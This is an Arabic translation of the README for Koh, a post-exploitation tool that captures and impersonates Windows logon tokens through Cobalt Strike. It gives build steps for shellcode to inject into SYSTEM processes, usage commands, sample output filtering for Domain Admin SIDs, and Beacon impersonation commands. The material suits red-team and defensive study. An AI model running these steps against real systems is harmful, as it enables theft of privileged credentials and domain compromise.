
يلتقط رموز جلسات تسجيل الدخول في ويندوز عبر تسريب الرموز لتمكين إعادة استخدام بيانات الاعتماد وانتحال الهوية، مع تكامل Cobalt Strike BOF لسرقة الرموز بعد الاستغلال.
Koh هي مجموعة أدوات مكتوبة بلغة C# وملف كائن المنارة (BOF) تسمح بالتقاط مواد بيانات اعتماد المستخدم من خلال تسريب متعمد للرموز/جلسات تسجيل الدخول.
بعض الكود مستوحى من مشروع Elad Shamir Internal-Monologue (بدون ترخيص)، بالإضافة إلى KB180548. لمعرفة سبب إمكانية ذلك ونهج Koh، راجع قسم الخلفية التقنية من هذا الملف.
للحصول على شرح أعمق للدوافع وراء Koh ونهجها، راجع منشور Koh: The Token Stealer.
@harmj0y هو المؤلف الرئيسي لقاعدة الكود هذه. ساعد @tifkin_ في النهج وتنفيذ BOF وبعض آليات الرموز.
Koh مرخصة بموجب ترخيص BSD 3-Clause.
"خادم" Koh يلتقط الرموز ويستخدم الأنابيب المسماة للتحكم/الاتصال. يمكن تغليف ذلك في Donut وحقنه في أي عملية عالية التكامل SYSTEM (راجع خلل Inline Shenanigans).
نحن لا نخطط لإصدار ملفات ثنائية لـ Koh، لذلك سيتعين عليك التجميع بنفسك :)
تم بناء Koh على .NET 4.7.2 وهو متوافق مع Visual Studio 2019 Community Edition. ما عليك سوى فتح ملف المشروع .sln، واختيار "Release"، والبناء. سيتم إخراج التجميعة Koh.exe وملف Koh.bin Donut-built PIC إلى الدليل الرئيسي. كتلة Donut متوافقة مع كل من x86/x64، وتم بناؤها باستخدام الخيارات التالية باستخدام الإصدار v0.9.3 من Donut الموجود في ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
ترخيص Donut هو BSD 3-clause.
### الاستخدام
`Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - يعرض جلسات تسجيل الدخول (غير الشبكية)
* **monitor** - يراقب جلسات تسجيل الدخول الجديدة/الفريدة (غير الشبكية)
* **capture** - يلتقط رمزًا فريدًا واحدًا لكل SID يتم العثور عليه لجلسات تسجيل الدخول الجديدة (غير الشبكية)
يمكن أيضًا توفير Group SIDs من سطر الأوامر، مما يؤدي إلى مراقبة/التقاط جلسات تسجيل الدخول التي تحتوي فقط على Group SIDs المحددة في معلومات الرمز المتفاوض عليها.
### مثال - عرض جلسات تسجيل الدخول```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
يسرد فقط النتائج التي تحتوي على SID مجموعة مسؤولي المجال (-512) في معلومات رمزها المميز:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
العميل القابل للاستخدام حالياً هو ملف كائن منارة (Beacon Object File) في `.\Clients\BOF\`. قم بتحميل سكريبت العدوان `.\Clients\BOF\KohClient.cna` في عميل Cobalt Strike الخاص بك لتمكين التحكم BOF في خادم Koh. الشرط الوحيد لاستخدام الرموز الملتقطة هو **SeImpersonatePrivilege**. أنبوب الاتصال المسمى يحتوي على DACL "للجميع" ولكنه يستخدم كلمة مرور مشتركة أساسية (آمنة جداً).
لتجميع جديد على Linux باستخدام Mingw، راجع سكريبت `.\Clients\BOF\build.sh`. الشرط الوحيد (على Debian على الأقل) يجب أن يكون `apt-get install gcc-mingw-w64`.
### الاستخدام```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
أمر koh filter add S-1-5-21-<DOMAIN>-<RID> سيلتقط فقط الرموز التي تحتوي على SID المجموعة المقدمة. يمكن تشغيل هذا الأمر عدة مرات لإضافة SIDs إضافية للالتقاط. يمكن أن يساعد ذلك في منع مشكلات الاستقرار المحتملة بسبب عدد كبير من تسريبات الرموز.
"يلتقط" جلسات تسجيل الدخول عن طريق التفاوض على رموز قابلة للاستخدام لكل جلسة جديدة.``` C:\Temp>Koh.exe capture